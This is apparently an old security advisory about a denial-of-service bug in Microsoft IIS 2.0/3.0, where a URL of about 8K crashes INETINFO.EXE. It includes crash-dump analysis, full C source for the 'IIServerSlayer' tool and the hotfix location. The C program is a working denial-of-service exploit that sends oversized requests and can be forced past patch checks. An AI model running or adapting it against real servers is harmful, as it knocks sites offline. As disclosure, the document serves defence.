COMMAND

    Microsoft Internet Information Server

SYSTEMS AFFECTED

    Win Nt 4.0 (server) running IIS 2.0 and 3.0

PROBLEM

    The  Internet  Information  Server  services  will  stop  when  it
    receives a CGI request from a browser that contains between 4k  to
    8k chunk of data in the URL.

    Bug was found by Todd Fast.  It allows a remote user--any user--to
    shut down  the web  server, and  consequently the  web site, using
    nothing more than a web browser.

    The bug surfaces when  a remote user requests  a Web URL from  the
    IIS server that  contains a certain  number of characters  (called
    the "bug threshold"  by original finder)  and is of  the following
    form:

        http://<some web server>/?something=XXXXXXXX...

    To  cause  the  fatal  error,  this  URL  should  contain  a   CGI
    name/value pair of a certain  length. Note that the user  does not
    have to request  any specific document:  the error occurs  because
    of the length of the URL alone. Apparently, this bug only  appears
    when  using  Netscape  Navigator  to  contact  the  server because
    Internet Explorer won't allow such a long URL to be sent.

    The length of  the URL required  to cause a  crash is specific  to
    each server,  but seems  to hover  around 8K.  Finding the correct
    length to kill an IIS server requires trial and error.  Todd found
    that URLs above the bug threshold return a "404 Object Not  Found"
    or similar error.  Below the threshold,  the requested page  loads
    properly.  However, sending a URL who's length is exactly the  bug
    threshold causes the server to stop responding.

    When a  user sends  this URL  to an  IIS web  server, it causes an
    access violation in the  INETINFO.EXE process. We don't  know what
    this small  8k process's  role is  in the  server's operation, but
    when it fails, it  causes the WWW service  under IIS to stop.  The
    site  administrator  must  then  clear  the  error and restart the
    service to  continue operation.   The bug  does not  always appear
    upon the  first document  request, but  repeated application  will
    eventually cause INETINFO.EXE to fail.

    A colleague, Bill Chaison, has studied the Dr. Watson log file and
    offers  more  information  on  the  location  of  the error in the
    INETINFO.EXE process:

        "This particular GPF occurred at 0x77A07614 on our server. The
        offending  application  is  INETINFO.EXE,  one  of  IIS  3.0's
        components.    The   stamp   properties   of   our   EXE   are
        DATE=08/09/96, TIME=01:30a,  SIZE=7440 bytes.  Referencing the
        dump, thread ID 0xF9 performed a string compare function which
        caused a read fault during an iteration of the CMPSB  (compare
        string byte by byte) opcode. This opcode works off of ESI  and
        EDI as  its base  pointers and  ECX as  its loop  repeater.  I
        suspect  that  either  ECX  was  either miscalculated to begin
        with, or ESI or EDI went out of range and caused a  protection
        exception.   The Watson  error dialog  reflected 0x77A07614 as
        the CS:EIP of the fault when  the message box popped up.   The
        log file below confirms the address of the error.  Search  the
        file for "FAULT ->" to jump to its description."

    Todd created  a small  Java program,  called IIServerSlayer,  that
    repeatedly hits a web server  with a varying length URL  until the
    web server stops responding due to the IIS bug.  Andrea  Arcangeli
    has  ported  that  program  in  gcc  from  java  using  strace and
    disassembling IIServerSlayer.class with javap (part of jdk).

    For now is  tested by me  only on Linux  2.1.42 compiled with  gcc
    2.7.2.2 and glibc.

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <signal.h>

    int s;
    struct sockaddr_in addr, spoofedaddr;
    struct hostent *host;

    int open_sock(int sock, char *server, int port) {
      struct sockaddr_in blah;
      struct hostent *he;
      bzero((char *)&blah,sizeof(blah));
      blah.sin_family=AF_INET;
      blah.sin_port=htons(port);
      if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
      }
      else {
        if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
          perror("gethostbyname()");
          return(2);
        }
      }
      if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
        perror("connect()");
        close(sock);
        return(3);
      }
      return 0;
    }

    char *generate_die_string(int lenght) {
      char letter='X';
      char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
      int i;
      str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
      strcpy(str,str_begin);
      for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
      str[i]=0;
      strcat(str,str_end);
      return (char *)str;
    }

    void IIServerSlayer(char *target,int lenght,int port,int flags) {
      char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
      char *IIS_patch = "Bad Request";
      int count = 0,return_status;
      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(1);
      }
      if((return_status = open_sock(s,target,port))) exit(return_status);
      if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
      else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
                  ,target);
      send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
      printf("Waiting for the reply from %s\n",target);
      buff[1]=0;
      while(recv(s,buff,1,0) == 1) {
        if(flags & 1) printf("%s",buff);
        else if(!div(count,50).rem) printf(".");
        if(count < 511) header[count]=buff[0];
        count++;
      }
      printf("\n");
      header[511]=0;
      if(strstr(header,IIS_string) == NULL && lenght == 0) {
        printf("This is not a Microsoft-IIS/3.0 web server\n");
        if(!(flags & 2)) exit(0);
      }
      else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
      if(strstr(header,IIS_patch) != NULL) {
        printf("This IIS/3.0 web server is patched against this exploit\n");
        if(!(flags & 2)) exit(0);
      }
      close(s);
    }

    void main(int argc,char **argv)
    {
      int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
      if (argc < 2 ) {
        printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
        printf("[-v] = verbose mode to view the server reply\n");
        printf("[-f] = force running over non or patched IIS/3.0 web server\n");
        exit(0);
      }
      for(i=1;i<argc;i++) {
        if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
        if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
      }
      if(argc > param+2) lenght = atoi(argv[param+2]);
      if(argc > param+3) port = atoi(argv[param+3]);
      for(i=0;i<3;i++,lenght++) {
        if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
        else IIServerSlayer(argv[param+1],0,port,flags);
        if(i == 1 || i == 0) lenght--;
      }
      if((pid = fork())) {
        if(pid == -1) {
          perror("I can' t fork\n");
          exit(-1);
        }
        usleep(60000000); /* wait for 1 minute */
        kill(pid,SIGTERM);
      }
      else {
        IIServerSlayer(argv[param+1],lenght,port,flags);
        printf("Sorry, %s is alive yet\n",argv[param+1]);
      }
      exit(0);
    }

SOLUTION

    The fix is available for download on the Internet at the following
    URL:

        ftp://ftp.microsoft.com

    following path

        /bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix